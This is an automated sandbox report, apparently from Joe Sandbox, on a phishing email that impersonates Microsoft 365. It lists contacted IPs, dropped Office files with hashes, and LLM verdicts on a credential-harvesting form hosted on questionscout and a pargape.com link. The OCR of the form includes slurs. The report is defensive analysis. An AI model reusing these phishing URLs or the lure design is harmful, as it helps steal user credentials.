https://v8ylw.pargape.com/4wmGg/	true	unknown
https://form.questionscout.com/667c5a5b01ef84c1eaf4663e	true	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.185.78	unknown	United States	15169	GOOGLEUS	false
142.250.186.170	unknown	United States	15169	GOOGLEUS	false
52.109.89.18	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
20.189.173.4	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
52.109.89.119	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
20.42.65.84	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.246.60	s-part-0032.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
216.58.206.36	www.google.com	United States	15169	GOOGLEUS	false
142.250.185.202	unknown	United States	15169	GOOGLEUS	false
216.58.206.35	unknown	United States	15169	GOOGLEUS	false
172.67.169.107	xks.vrt7119.ru	United States	13335	CLOUDFLARENETUS	false
151.101.130.137	code.jquery.com	United States	54113	FASTLYUS	false
104.17.3.184	unknown	United States	13335	CLOUDFLARENETUS	false
23.211.8.90	unknown	United States	16625	AKAMAI-ASUS	false
142.250.185.163	unknown	United States	15169	GOOGLEUS	false
142.250.186.110	unknown	United States	15169	GOOGLEUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
172.217.18.10	unknown	United States	15169	GOOGLEUS	false
66.102.1.84	unknown	United States	15169	GOOGLEUS	false
52.113.194.132	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
3.212.145.1	unknown	United States	14618	AMAZON-AESUS	false
3.165.214.11	unknown	United States	16509	AMAZON-02US	false
216.58.206.67	unknown	United States	15169	GOOGLEUS	false
69.49.245.172	brentwoodnsteel.shop	United States	46606	UNIFIEDLAYER-AS-1US	false
18.245.33.131	d3djdih2k2vfi2.cloudfront.net	United States	16509	AMAZON-02US	false
159.89.102.253	geolocation-db.com	United States	14061	DIGITALOCEAN-ASNUS	true
50.16.154.212	dualstack.awseb-awseb-147jj8pq9oolw-1566203385.us-east-1.elb.amazonaws.com	United States	14618	AMAZON-AESUS	false
104.21.79.87	unknown	United States	13335	CLOUDFLARENETUS	false
2.19.126.151	unknown	European Union	16625	AKAMAI-ASUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
188.114.96.3	v8ylw.pargape.com	European Union	13335	CLOUDFLARENETUS	false
54.196.6.6	unknown	United States	14618	AMAZON-AESUS	false
18.208.94.120	questionscout-form-api-prod.us-east-1.elasticbeanstalk.com	United States	14618	AMAZON-AESUS	false
104.17.2.184	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
52.109.76.243	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false

Private

IP
192.168.2.17

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1467192
Start date and time:	2024-07-03 20:31:18 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	30
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled
Analysis Mode:	stream
Analysis stop reason:	Timeout
Sample name:	23eb97f4-980c-745d-c5e2-6fdb70189e48.eml
Detection:	MAL
Classification:	mal72.phis.evad.winEML@27/52@54/144
Cookbook Comments:	Found application associated with file extension: .eml

Warnings

Exclude process from analysis (whitelisted): dllhost.exe
Excluded IPs from analysis (whitelisted): 52.109.89.18, 52.113.194.132, 52.109.76.243, 2.19.126.151, 2.19.126.160
Excluded domains from analysis (whitelisted): ecs.office.com, omex.cdn.office.net, prod.configsvc1.live.com.akadns.net, ctldl.windowsupdate.com, weu-azsc-config.officeapps.live.com, prod.roaming1.live.com.akadns.net, s-0005-office.config.skype.com, eur.roaming1.live.com.akadns.net, neu-azsc-000.roaming.officeapps.live.com, ecs-office.s-0005.s-msedge.net, roaming.officeapps.live.com, s-0005.s-msedge.net, config.officeapps.live.com, osiprod-neu-buff-azsc-000.northeurope.cloudapp.azure.com, officeclient.microsoft.com, ecs.office.trafficmanager.net, omex.cdn.office.net.akamaized.net, europe.configsvc1.live.com.akadns.net, a1864.dscd.akamai.net
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetValueKey calls found.
VT rate limit hit for: 23eb97f4-980c-745d-c5e2-6fdb70189e48.eml

LLM Input / Output

Input	Output
URL: e-Mail Model: gpt-4o	```json{ "riskscore": 9, "brand_impersonated": "Microsoft", "reasons": "The email impersonates Microsoft, a well-known brand. The sender's email address 'microsoft@mii.com' is suspicious and does not match Microsoft's official domain. The subject line 'Microsoft Corporate Structure' is designed to create interest. The email body contains a hyperlink 'www.mii.com/corporate-structure/' that does not lead to an official Microsoft website, indicating a potential phishing attempt."}

URL: https://form.questionscout.com/667c5a5b01ef84c1eaf4663e Model: Perplexity: mixtral-8x7b-instruct	{"loginform": true,"urgency": false,"captcha": false,"reasons": ["The webpage contains a login form which explicitly requests sensitive information such as email addresses and passwords.","The text does not create a sense of urgency or interest.","There is no CAPTCHA or anti-robot detection mechanism present on the webpage."]}
Title: M l C R 0 S 0 F T - 0 F F l C E - 365 \| QuestionScout OCR: Microsoft 365 * EMAIL ADDRES * PASSWORD SIGN IN
URL: https://form.questionscout.com/667c5a5b01ef84c1eaf4663e Model: Perplexity: mixtral-8x7b-instruct	{"loginform": true,"urgency": false,"captcha": false,"reasons": ["The webpage contains a login form as it explicitly requests for sensitive information such as email addresses and passwords.","The text does not create a sense of urgency as it does not contain phrases that typically create urgency such as 'Click here to view document' or 'To view secured document click here'.","The webpage does not contain a CAPTCHA or any anti-robot detection mechanism."]}
Title: M l C R 0 S 0 F T - 0 F F l C E - 365 \| QuestionScout OCR: Microsoft 365 * EMAIL ADDRES areUaPHlSHlNGl * PASSWORD SIGN IN
URL: https://form.questionscout.com Model: gpt-4o	```json{ "phishing_score": 9, "brands": "Microsoft 365", "phishing": true, "suspicious_domain": true, "has_prominent_loginform": true, "has_captcha": false, "setechniques": true, "has_suspicious_link": false, "legitmate_domain": "microsoft.com", "reasons": "The URL 'https://form.questionscout.com' does not match the legitimate domain associated with Microsoft 365, which is 'microsoft.com'. The page prominently displays a login form requesting an email address and password, which is a common tactic used in phishing attacks. The use of a third-party domain (questionscout.com) instead of the official Microsoft domain is highly suspicious and indicative of a phishing attempt. Additionally, there is no CAPTCHA present, which is often used by legitimate sites to prevent automated attacks. The overall design and branding attempt to mimic Microsoft 365, employing social engineering techniques to mislead users."}

URL: https://form.questionscout.com Model: gpt-4o	```json{ "phishing_score": 9, "brands": "Microsoft 365", "phishing": true, "suspicious_domain": true, "has_prominent_loginform": true, "has_captcha": false, "setechniques": true, "has_suspicious_link": false, "legitmate_domain": "microsoft.com", "reasons": "The URL 'https://form.questionscout.com' does not match the legitimate domain for Microsoft 365, which is 'microsoft.com'. The page prominently displays a login form asking for email and password, which is a common tactic used in phishing attacks. The use of the Microsoft 365 branding on a non-Microsoft domain is suspicious and indicative of social engineering techniques aimed at misleading users. There is no captcha present, which is often used on legitimate login pages to prevent automated attacks. Based on these factors, the site is highly likely to be a phishing site."}

URL: https://form.questionscout.com/667c5a5b01ef84c1eaf4663e Model: Perplexity: mixtral-8x7b-instruct	{"loginform": true,"urgency": false,"captcha": false,"reasons": ["The webpage contains a login form as it explicitly requests sensitive information such as email addresses and passwords.","No elements creating a sense of urgency were found in the text.","No CAPTCHA or anti-robot detection mechanism was found on the webpage."]}
Title: M l C R 0 S 0 F T - 0 F F l C E - 365 \| QuestionScout OCR: Microsoft 365 * EMAIL ADDRES areUaPHlSHl * PASSWORD AreYouAnlndianPhishingFaggotl SIGN IN
URL: https://form.questionscout.com/667c5a5b01ef84c1eaf4663e Model: Perplexity: mixtral-8x7b-instruct	{"loginform": true,"urgency": false,"captcha": false,"reasons": ["The webpage contains a login form which explicitly requests sensitive information such as email addresses and passwords.","There is no sense of urgency in the text.","There is no CAPTCHA or anti-robot detection mechanism present on the webpage."]}
Title: M l C R 0 S 0 F T - 0 F F l C E - 365 \| QuestionScout OCR: Microsoft 365 * EMAIL ADDRES areUaPHlSHl * PASSWORD eYouAnlndianPhishingFaggotTakingOrdersFromAFickheadtoPhishtheOrganizationWithoutTellin SIGN IN
URL: https://form.questionscout.com Model: gpt-4o	```json{ "phishing_score": 10, "brands": "Microsoft 365", "phishing": true, "suspicious_domain": true, "has_prominent_loginform": true, "has_captcha": false, "setechniques": true, "has_suspicious_link": true, "legitmate_domain": "microsoft.com", "reasons": "The URL 'https://form.questionscout.com' does not match the legitimate domain for Microsoft 365, which is 'microsoft.com'. The page displays a prominent login form asking for email and password, which is a common phishing tactic. The use of offensive language in the email and password fields is highly suspicious and unprofessional, indicating malicious intent. Additionally, the domain 'questionscout.com' is not associated with Microsoft 365. The presence of social engineering techniques and suspicious elements strongly suggests that this is a phishing site."}

URL: https://form.questionscout.com Model: gpt-4o	```json{ "phishing_score": 10, "brands": "Microsoft 365", "phishing": true, "suspicious_domain": true, "has_prominent_loginform": true, "has_captcha": false, "setechniques": true, "has_suspicious_link": true, "legitmate_domain": "microsoft.com", "reasons": "The URL 'https://form.questionscout.com' does not match the legitimate domain for Microsoft 365, which is 'microsoft.com'. The page prominently displays a login form asking for an email address and password, which is a common phishing technique. The domain 'questionscout.com' is unrelated to Microsoft, raising suspicion. Additionally, the use of offensive language in the email and password fields is highly unprofessional and indicative of a phishing attempt. The site uses social engineering techniques to mislead users into thinking it is a legitimate Microsoft 365 login page."}

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\FORMS\FRMCACHE.DAT

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	231348
Entropy (8bit):	4.387262113682852
Encrypted:	false
SSDEEP:
MD5:	D2A5E116D72A5D1E3A9760CF3345219F
SHA1:	CAA9967755690C377B35A051BA4898490430EE36
SHA-256:	ED032F7EDD7A6C8C6EBDC8325B088C8D31F1FF1A112C45FBC87DF66033A1C45F
SHA-512:	C5266B536DA0A8C35DAEBF272079D4C191764B49C4467B21D75F26034DF1EA9E9E886F5331D3DC6AD901A14B6CDAE60EA037137E2020EEDA181D62798EFE04B5
Malicious:	false
Reputation:	unknown
Preview:	TH02...... ...c:w.......SM01X...,.....T:w...........IPM.Activity...........h...............h............H..h.o...........h........(...H..h\tor ...AppD...h....0...8.o....h...j...........h........_`.k...h]..j@...I.+w...h....H...8..k...0....T...............d.........2h...............k..;.......3...!h.............. h..a.....P.o...#h....8.........$h(.......8....."h........h.....'h..x...........1h...j<.........0h....4.....k../h....h......kH..h.4..p....o...-h .......\|.o...+h...j.....o......... ...... ..............F7..............FIPM.Activity....Form....Standard....Journal Entry...IPM.Microsoft.FolderDesign.FormsDescription................F.k..........1122110020000000....Microsoft...This form is used to create journal entries.........kf...... ..........&...........(.......(... ...@.....................................................................................................................fffffffff........wwwwwwww.p....pp..............p...............pw..............pw..DDDDO..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\AddInClassifierCache\OfficeSharedEntities.bin

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	322260
Entropy (8bit):	4.000299760592446
Encrypted:	false
SSDEEP:
MD5:	CC90D669144261B198DEAD45AA266572
SHA1:	EF164048A8BC8BD3A015CF63E78BDAC720071305
SHA-256:	89C701EEFF939A44F28921FD85365ECD87041935DCD0FE0BAF04957DA12C9899
SHA-512:	16F8A8A6DCBAEAEFB88C7CFF910BCCC71B76A723CF808B810F500E28E543112C2FAE2491D4D209569BD810490EDFF564A2B084709B02963BCAF6FDF1AEEC59AC
Malicious:	false
Reputation:	unknown
Preview:	51253fe60063c31af0d295afb42228b0:v2:2:1:1590:2:8479:76bd602437550e98c9043d06a55186ab7d95dea5a0e935a599f73e62a8c9b158e0afcb19351f6c353940c06a38172b94d18c02cf92bb8a80184eccca0392b259ab3e71dae73e491c7941997cb36ad4a198661f622dad478d840f66d530a0dde78acea3367f91fff62fbb3dc18faff0c708ad30edef5bea8b22c5fd782b770d8993386eaa784fd19a3c3e1db3b537b1a94d3d4fbd46f8df8fddf6d16611969fe0a97c50e0f3ac24750c93257cf5c161184aa7385800c87d803b339632a3d8ec7fe17a0afd83ce9e9d0e3f7b8d579637928a811f1f7e6d1887df2ddc7d4f752c4d600235e426c92c7bf8a1362f95457998cc0e5d4261f0efa4fada0f866dbcefb407dacab7a2914e91c2f08200f38c2d9d621962145b1464b0f204b326118a53ecdcab22bff005fdd5257c99a6dc51ac0600a49f2ef782396987e78c08b846dad5db55e8ccefffc64863bc2c3e90b95a09d25d0814a848c98fe01a82d4e30e6682dd546e12c45ca0d280a45295ab4bd632dafb070edfdc3c9e38313d5aeb195972986f8011b66817028fd8c78b67a0ac7e780eecc3fb6a31f5a025b8a9a3db278a98c0696aeaac739b18688b0f9c7d751bba02cc5f4e41853fb119b3c0c915059aaa92971244a1989124f12881ca88e6410df70b793a2c3a736ff4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\AddInClassifierCache\OfficeSharedEntitiesUpdated.bin

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	10
Entropy (8bit):	2.6464393446710153
Encrypted:	false
SSDEEP:
MD5:	9F04D06E5E1CF72B6A526A113ABE944F
SHA1:	5EEA2262CBA901EF94891DE5B66DBC92559D2E74
SHA-256:	E37755FF52BC92ADD204257621E2053103A1D8A12828F1060537AFB7A69C7967
SHA-512:	D33D5806D49A37F30E0A86620205FA12BE3B1EC0FC9B4F8EAC0B049BB0556AF95A864ED376566E57AF8D64A2B52636AFB30E6ECFE08465A7E86E284A3BAF6F70
Malicious:	false
Reputation:	unknown
Preview:	1720031509

C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\839AB9F6-CA20-4F69-B2BF-B6755F4072BB

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	174490
Entropy (8bit):	5.289621934726271
Encrypted:	false
SSDEEP:
MD5:	F8F8D4CB9A0E69D92A0906CC90442B51
SHA1:	67C71E98D204E22DF11CB5F20FD58F504A34E1DD
SHA-256:	9072743D685D00A455D146ACDF204E5C9F0CF163E84B092982B67A2E6AC6EE71
SHA-512:	5C09A420F6417F8552CF8643311B5AAF5BA25B7890E9024CB57C07E419370F2D0FC9533BB7E3D8A4991E31FB0BC3C39CA95FA66EDAA51401FBBB0A91C2288FAA
Malicious:	false
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="utf-8"?>..<o:OfficeConfig xmlns:o="urn:schemas-microsoft-com:office:office">.. <o:services o:GenerationTime="2024-07-03T18:31:47">.. Build: 16.0.17812.40128-->.. <o:default>.. <o:ticket o:headerName="Authorization" o:headerValue="{}" />.. </o:default>.. <o:service o:name="Research">.. <o:url>https://word-edit.officeapps.live.com/we/rrdiscovery.ashx</o:url>.. </o:service>.. <o:service o:name="ORedir">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ORedirSSL">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ClViewClientHelpId" o:authentication="1">.. <o:url>https://[MAX.BaseHost]/client/results</o:url>.. <o:ticket o:policy="MBI_SSL_SHORT" o:idprovider="1" o:target="[MAX.AuthHost]" o:headerValue="Passport1.4 from-PP='{}&p='" />.. <o:ticket o:idprovider="3" o:headerValue="Bearer {}" o:resourceId="[

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-journal

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	4616
Entropy (8bit):	0.1384465837476566
Encrypted:	false
SSDEEP:
MD5:	1646C3095AC8152A640B857F887B06A9
SHA1:	5C0C21635051362B356D1AA1FF9AD0716D26D36A
SHA-256:	6C77815800F2E5853CCC52F027015202F5965D5A978E7B85503758533361B2D3
SHA-512:	4493DC491E612B4D32E7E1C7C0D377C3BE941A14252B14213F430BEFC6EFA85B546ABE8D8CB4EB40D6F4FD810EAC726DC681A4BF31AF1480BA28D81130F2BFE4
Malicious:	false
Reputation:	unknown
Preview:	.... .c......$.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................SQLite format 3......@ ..........................................................................K.................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\ETS9RD8W\~$Mitek Holdings Inc Remittance Advice.xlsx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.4988604911361962
Encrypted:	false
SSDEEP:
MD5:	34863D0C5EDC5217BFE8F28000149692
SHA1:	B997A6CB01178B27D14131F0B3C99068378F2959
SHA-256:	AA5DEED2AFD386A6CE02460403D856BAD3C6E0969C73294FE33A76B2B1F60B4D
SHA-512:	74A541E58F69DCA407BF95CC9141D93968DB858F680B4A4CD1ECF96C4B4DF6E44A2912F2A364B423E464078739CA616815C2FCE69479B102856989F71B364BB1
Malicious:	false
Reputation:	unknown
Preview:	.user ..t.o.r.r.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\user\AppData\Local\Packages\oice_16_974fa576_32c1d314_157c\AC\Temp\24F3D46E.png

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	PNG image data, 702 x 887, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	118521
Entropy (8bit):	7.957751350520974
Encrypted:	false
SSDEEP:
MD5:	96BEF348693576CF0AF85AD7394058B4
SHA1:	FC6B86FCF8B43EC699BDFC90262CDE1D612D9BF6
SHA-256:	56D480F963A5B9258A6A7BB2A1A8E55A58ABAC053A20C2424CD2016EAF43F472
SHA-512:	AE72CCFCFF2796F6C7909E88DCEDEBBD7EBB2802220C2AA301687D50A79185EBC9873803E82C88EEDE6B81B67996AA4F59DC17F3B74F1D6C831BC00E4889DBDC
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.......w.......Y... .IDATx..}.k$I..3..3....1.a...c..x..L.:.k....0."~. .h.6D.NS.!.6D!C.2.)C.2...A.)(..%.@2.gdD..7.#.#S...N..?N.<q..Q....@ ......... .....@ ...._...@ ....._...@ ....._...@ ....._...@ ....._...@ ....._...@ ....._...@ ....._...@ ....._...@ ....._...@ ....._...@ ....._...@ ....._...@ ....._...@ ....._...@ ....._...@ ....._...@ ....._...@ ....._...@ ....._...@ ....._...@ ....._...@ ....._...@ ....._...@ ....._...@ ....._...@ ....._...@ ....._...@ ....._...@ ....._...@ ......H..\|.JTv....B..Wj.^..?....C..........8..I....V.+.X.Tv...d.....Lg..Rg..7"..M.S5.M..n...E~.....'Z.h.E..-kK...^>.......7...L.t6U.M.6U.l..F..\|....8..Z-..+..0..........~..d2\|...L......t6..[. ..1.....2Q.$U.y....+{..E..-Z.h.n.}x.I..\+..]f.or.....p..F.."....s]..".Nf``````...+..C...j.\...BMo.P\|k..oDp.7.g..{O...-W........_4....+Q.]...J....oY..F......kNJ3.1.>0000000......Q\|..6....=.M._s2w...........n...\|..U.....oE..F...]...G.S.{n.........~....k.:@..

C:\Users\user\AppData\Local\Packages\oice_16_974fa576_32c1d314_157c\AC\Temp\A759858F.xlsx:Zone.Identifier

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:
MD5:	FBCCF14D504B7B2DBCB5A5BDA75BD93B
SHA1:	D59FC84CDD5217C6CF74785703655F78DA6B582B
SHA-256:	EACD09517CE90D34BA562171D15AC40D302F0E691B439F91BE1B6406E25F5913
SHA-512:	AA1D2B1EA3C9DE3CCADB319D4E3E3276A2F27DD1A5244FE72DE2B6F94083DDDC762480482C5C2E53F803CD9E3973DDEFC68966F974E124307B5043E654443B98
Malicious:	false
Reputation:	unknown
Preview:	[ZoneTransfer]..ZoneId=3..

C:\Users\user\AppData\Local\Packages\oice_16_974fa576_32c1d314_157c\AC\Temp\Diagnostics\EXCEL\App1720031521441186300_9DF7721B-D1EB-4A0F-844A-3E3A898E6662.log

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	20971520
Entropy (8bit):	0.004040129357743245
Encrypted:	false
SSDEEP:
MD5:	8D11EC5902AE864CB5A68FA5410091FB
SHA1:	939A8762672C82DF1672DD20AFBDBDA78142719F
SHA-256:	E680EBCBDE07ACA2666B15FE4B4626565C24B74165719B32E639AFCC8251C88F
SHA-512:	E03BFA7399E8F792F286D4109B3E5B7CAE037352FB1008DCBE3667873404D2CB56F643731753B5AE539364987A813D570C1507BF4509ED332E9DA8364EE7A290
Malicious:	false
Reputation:	unknown
Preview:	Timestamp.Process.TID.Area.Category.EventID.Level.Message.Correlation..07/03/2024 18:32:01.484.EXCEL (0x19C4).0x19C8.Microsoft Excel.Telemetry Event.b7vzq.Medium.SendEvent {"EventName":"Office.Text.GDIAssistant.HandleCallback","Flags":30962256044949761,"InternalSequenceNumber":15,"Time":"2024-07-03T18:32:01.484Z","Contract":"Office.System.Activity","Activity.CV":"G3L3nevRD0qESj46iY5mYg.1.10","Activity.Duration":14,"Activity.Count":1,"Activity.AggMode":0,"Activity.Success":true,"Data.GdiFamilyName":"","Data.CloudFontStatus":6,"Data.CloudFontTypes":256}...07/03/2024 18:32:01.484.EXCEL (0x19C4).0x19C8.Microsoft Excel.Telemetry Event.b7vzq.Medium.SendEvent {"EventName":"Office.Text.ResourceClient.Deserialize","Flags":30962256044949761,"InternalSequenceNumber":17,"Time":"2024-07-03T18:32:01.484Z","Contract":"Office.System.Activity","Activity.CV":"G3L3nevRD0qESj46iY5mYg.1.11","Activity.Duration":10044,"Activity.Count":1,"Activity.AggMode":0,"Activity.Success":true,"Data.JsonFileMajorVersion"

C:\Users\user\AppData\Local\Packages\oice_16_974fa576_32c1d314_157c\AC\Temp\msoC714.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	3241
Entropy (8bit):	4.6429523484419954
Encrypted:	false
SSDEEP:
MD5:	D446F688EE71997288213E966AD8DEB8
SHA1:	0F253E42E2259E3557F0D4557949608D990BF0DF
SHA-256:	1A0F83D2F21D9AAD9D4A9F32661C851E8549572624406ADC5CAFAEC80E8914A0
SHA-512:	06E610D4B3DF1BEDD9A8F838229B50DFAA2E69800B47AA130286B835A49C4B0244BCB45B33604E139557A8F79B8593A1BAA425B67B7012475B2BA7DF0029BABB
Malicious:	false
Reputation:	unknown
Preview:	PK..........!..!..............[Content_Types].xml ...(......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................N.0...H...W.8p@.%.#.P...7.....}{6m...H...o<.W.iT{..ch.@a....7.y/.@......6pD.U{{So..I.:P..sz...2&.2.b...1.:..5=.z.6............. ..$.G..r^.Y...Fo.KR.......JQ.vh...$..y.7...j.w..&.$.v.sL$..X..,..E.#...'."Q*.?0v..(.w..^.\.Cw..O..~.......PK..........!...K............_rels/.rels ...(..............................................................................................................................

C:\Users\user\AppData\Local\Packages\oice_16_974fa576_32c1d314_157c\AC\Temp\~DFB43CF7CBB735F706.TMP

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	CDFV2 Encrypted
Category:	dropped
Size (bytes):	136192
Entropy (8bit):	7.940548560852046
Encrypted:	false
SSDEEP:
MD5:	EC7229AFFD47BEEF9BA54CCF83592F3F
SHA1:	151ABE67C8AC06E620CD45BBB00143E01640571F
SHA-256:	6C8227BE673DDD6AC08148E1DDA8A3828A881142112CA62C56C03DBF30310713
SHA-512:	BD0A89D9EC145A3557C4B902897DC5ED1937C2E0AD21B746F6C3254E679F80E3CA182FD8FB7F53BA42846E56776706DE4A4BC12F045E0ACCD6C7EB6F9EB1B3F5
Malicious:	false
Reputation:	unknown
Preview:	......................>................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

C:\Users\user\AppData\Local\Packages\oice_16_974fa576_32c1d314_157c\AC\Temp\~DFE7272B4093FC720B.TMP

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Reputation:	unknown
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\olk873C.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	5120
Entropy (8bit):	7.89431586061441
Encrypted:	false
SSDEEP:
MD5:	4C3467E6747D78914D515DC794CAF058
SHA1:	CB7FD0F9A6991E0FA7478590836CA38CE7D31877
SHA-256:	6F36873C7371E28D08B17DBEA2E062457DC008D118E6B0CC0CDCAB3C30727D2F
SHA-512:	3842EE91CA750728258FF4383A3D250EC62C0E202AC0F79727DD5952D1F10964E5E5516E493D4D3FCFD1D3D4A715A4CE5090E32395430315314AC892D850869D
Malicious:	false
Reputation:	unknown
Preview:	......5.>R.!.6o..]......Y2.;.N....<...z...k.o.O..^...Z.......U..W.uj..L..#......8.....1.j3F.t.. !..L(.f..g.E.o.....v..^...=nK.[1.)..%KK..w.%;z.4...6.C.r/njr.o.O...a....T.l....!<..M.G../.Y-6s.....VO....p}..p.S.F..?....C....v.u}....S....e.T...A..V...{....h.2..h..F..,.8.......N0...L...fZ.9...8..S.....b....C....VF......i..4)J>...6......N ..E..M.].@.m..&......<..W~-.md.:........9.-oO."....t....:i^Nl.^..v.^..Y....'}3..0Q........iO..ls.k...gy..e.o]..W......,5#E.hdmt..."{$..nn.6mm..,.z.J...h..bI.........\|..../.....3UN.\|.D.7(..j...q<VMQV.Z.~..T..:...0{...z..-J.5%l^+..A.#..&...aUj..\..,.)..=..G....j..c..,......h.Mg'uaZ....&.'..B{..4...+.2F%O/..r.G~K....=..@......M...v..Kg....f4....jE....N3K.&$...r....y.v/~..@.atW..0....6...OC.."{......&.)..n....ad.....O...v...x...s...t;......D....d..s...\.N...,\~;O}7./...Ch.A..<z1..n...A...aZR........;"&...."h.....W...W....O..zs.L..P....H}Y..p..9#.2jg/!......!....}.(G+.QD...A.V....}.mm.......q.......V..

C:\Users\user\AppData\Roaming\Microsoft\Office\MSO3072.acl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	30
Entropy (8bit):	1.2389205950315936
Encrypted:	false
SSDEEP:
MD5:	B0A9F51E16D3007EE4B74169E248BE67
SHA1:	E57DFE65E08976BD2370B3B2F6DDF7ECFD82DE21
SHA-256:	7A557BD34CD83DE8C11ABC5FDA5BFDC55FBC75C5EADC977C9AE59A707AEC9C88
SHA-512:	E2E63560E9F99B26C1948B2D286AD0452780AD7600CCBEF5D89281E38C7A45E435C044B2A89A0C9049F619105612C5298488FE0BA5250557930C4F2563DED61B
Malicious:	false
Reputation:	unknown
Preview:	..............................

C:\Users\user\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	18
Entropy (8bit):	2.725480556997868
Encrypted:	false
SSDEEP:
MD5:	A5E51FDFAF429614FB5218AB559D299A
SHA1:	262EC76760BB9A83BCFF955C985E70820DF567AE
